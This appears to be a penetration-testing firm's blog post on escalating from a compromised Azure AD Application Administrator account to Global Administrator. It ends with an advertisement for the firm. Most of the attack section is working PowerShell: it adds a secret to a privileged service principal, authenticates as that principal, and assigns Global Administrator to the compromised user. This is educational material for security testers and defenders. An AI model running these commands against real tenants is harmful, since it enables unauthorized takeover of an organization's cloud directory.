In this blog, we will look at a variation of a real-world attack path to escalate our privileges from a compromised Application Administrator account in Azure to Global admin through a service principal.
Before diving into the attack’s details, let us understand some Azure basics to help us further down the path.
Microsoft’s Azure is a cloud computing platform. It provides various services, which include storage, virtual machines, and databases. It allows individuals and organizations to run applications and store data in a secure, scalable environment without investing heavily in hardware or infrastructure management.
Azure offers users a vast selection of services. Let’s look at some of the most notable ones:
Let us now look at the hierarchy of Azure AD.
Tenant: A tenant is a dedicated instance of Azure AD that an organization receives when they sign up for the service. The top-level container in Azure represents a single organization or entity. A tenant is tied to a specific Azure AD directory and, therefore, is used to manage access and resources for that directory.
Management Group: A management group is a container that helps you manage access, policies, and compliance across multiple subscriptions. Therefore, these management groups aim to provide a way to apply governance controls and hierarchically manage resources.
Subscription: Subscriptions manage bills and control access to Azure resources. You can create multiple subscriptions within a single tenant, and each subscription can have different billing and access control settings.
Resource Group: Resource groups organize resources, apply policies, and control resource access. This way, you can create multiple resource groups within a subscription, and each resource group can have different access control and policies.
Resource: A resource is an individual component used to provision and manage services in Azure. Some examples of resources include virtual machines, storage accounts, databases, web apps, or any other component used to build and run applications in Azure.
Azure provides a robust and flexible permission model that allows organizations to manage access to their Azure resources and services. The model is based on a hierarchical structure starting with the Azure tenant, representing an organization’s identity in Azure.
Within the tenant, global admins have full administrative access to all resources and services, including creating new subscriptions and managing users and groups. Global admins can also assign roles to users and groups within the tenant, controlling their access to resources and services.
Subscriptions are the next level in the hierarchy and represent Azure resources and services grouping. Within a subscription, there are several built-in roles,
Apart from the built-in roles, organizations can create roles that give granular access to certain resources or services. You can use the role-based access control (RBAC) system in Azure to create custom roles. This system lets organizations set their own permissions and access controls.
An Azure Application is an application or service signed up with Azure Active Directory and used to access Azure resources. Registering an app with Azure AD allows you to set the scopes and permissions to use Azure resources. You can also change the settings for the application’s authentication and authorization.
In Azure AD, you create a Service Principal as an identity for an application. The application uses this Service Principal in order to authenticate itself while accessing Azure resources. Whenever you register an application with Azure AD, the system automatically creates a Service Principal for that application. This Service Principal grants the application access to Azure resources, based on the defined permissions and scopes in the application registration. To authenticate, the Service Principal uses a Client ID and a secret.
Here, in our ‘MYAPP’ application, the Application (client) ID refers to the Application ‘MyApp’ ID while the Object ID of the app is the Service Principal ID.
Now let us look at a real word scenario with a common attack path and its exploitation.
The role of the application administrator is to create, manage and keep an eye on all aspects of the apps hosted on the Azure platform. A user having this role has full control over all the Azure-hosted apps
$UserID = "USER@DOMAIN"
$TenantID = "TENANT_ID"
$Password = ConvertTo-SecureString 'PASSWORD' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential($UserID, $Password)
Connect-AzureAD -Credential $Cred -TenantID $TenantID
Step 2) We can verify that the user is, in fact, an Application Administrator
Get-AzureADUser | ?{$_.UserPrincipalName -eq "USER@DOMAIN"} # Checking object ID of user
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq 'Application Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId "OBJECT_ID" #Comparing Object ID of Application Administrator Member to the user
We can confirm that the compromised account APPADMIN is indeed an application Administrator.
Step 3) Using Azurehound, we can observe a direct path to Global Administrator from the compromised account APPADMIN
This is because one of the applications (and service principal), MYAPP, has been assigned the Privileged Role Admin role.
If a service principal needs privileged access to Azure resources like storage accounts, virtual machines, or databases, it can be assigned the PRA role. The PRA role allows an application configure security policies, manage resource access, and create and manage Azure roles and permissions. Installing software, configuring network settings, and managing user accounts require this level of access.
This is critical because a Privileged Role Administrator can grant any other admin role to another principal at the tenant level. This includes granting access to high-level roles such as Global Administrator, Billing Administrator, or Security Administrator.
Step 4) Let us verify the PRA role for the service principal MYAPP
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq 'Privileged Role Administrator'}
Get-AzureADDirectoryRoleMember -ObjectId "OBJECT_ID"
The service principal MYAPP has been assigned the Privilege Role Administrator role. We can also confirm that the user APPADMIN is not the owner of the application
Get-AzureADApplication #Get target app Object ID
Get-AzureADApplicationOwner -ObjectId "OBJECT_ID" #Get App Owner
Since the compromised user is not the owner of the application, we need the privileges of the service principal to escalate to Global Admin.
Step 5) Because of the Application Administrator role, the user APPADMIN can assign a new credential to the application MYAPP’s service principal
$secret = New-AzureADApplicationPasswordCredential -ObjectId "OBJECT_ID"
$secret.value
Step 6) Now we log out as the user APPADMIN and authenticate to the tenant as the MYAPP service principal with the newly created credential
Disconnect-AzureAD
$ApplicationID = "APP_ID"
$TenantID = "TENANT_ID"
$Password = ConvertTo-SecureString $secret.value -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential($ApplicationID, $Password)
Connect-AzAccount -Credential $Cred -TenantID $TenantID -ServicePrincipal
$context = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile.DefaultContext
$token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($context.Account, $context.Environment, $context.Tenant.Id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, "https://graph.windows.net").AccessToken
Connect-AzureAD -AadAccessToken $token -AccountId $context.Account.Id -TenantId $context.tenant.id
Step 7) Once connected as the service principal, we can leverage its Privilege Role Administrator role to grant the user APPADMIN a Global Administrator role
Get-AzureADDirectoryRole | ?{$_.DisplayName -eq 'Global Administrator'}
Get-AzureADUser | ?{$_.DisplayName -eq 'AppAdmin'} #Getting object ID of Appadmin
Add-AzureADDirectoryRoleMember -RefObjectId "OBJECT_ID_APPADMIN" -ObjectId "OBJECT_ID_GA" # Adding App Admin to GA
Step 8) We can see that the user APPADMIN has been added to the Global Administrators group
This is how we can use critical Azure roles to escalate our privilege via a service principal.
By partnering with Redfox Security, you’ll get the best security and technical skills to execute a practical and thorough penetration test. Our offensive security experts have years of experience assisting organizations in protecting their digital assets through Penetration Testing Services. To schedule a call with one of our technical specialists, call 1-800-917-0850 now.
Redfox Security is a diverse network of expert security consultants with a global mindset and a collaborative culture. We proudly deliver robust security solutions with data-driven, research-based, and manual testing methodologies.
Join us on our journey of growth and development by signing up for our comprehensive courses.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
info@redfoxsec.com
©️2024 Redfox Cyber Security Inc. All rights reserved.
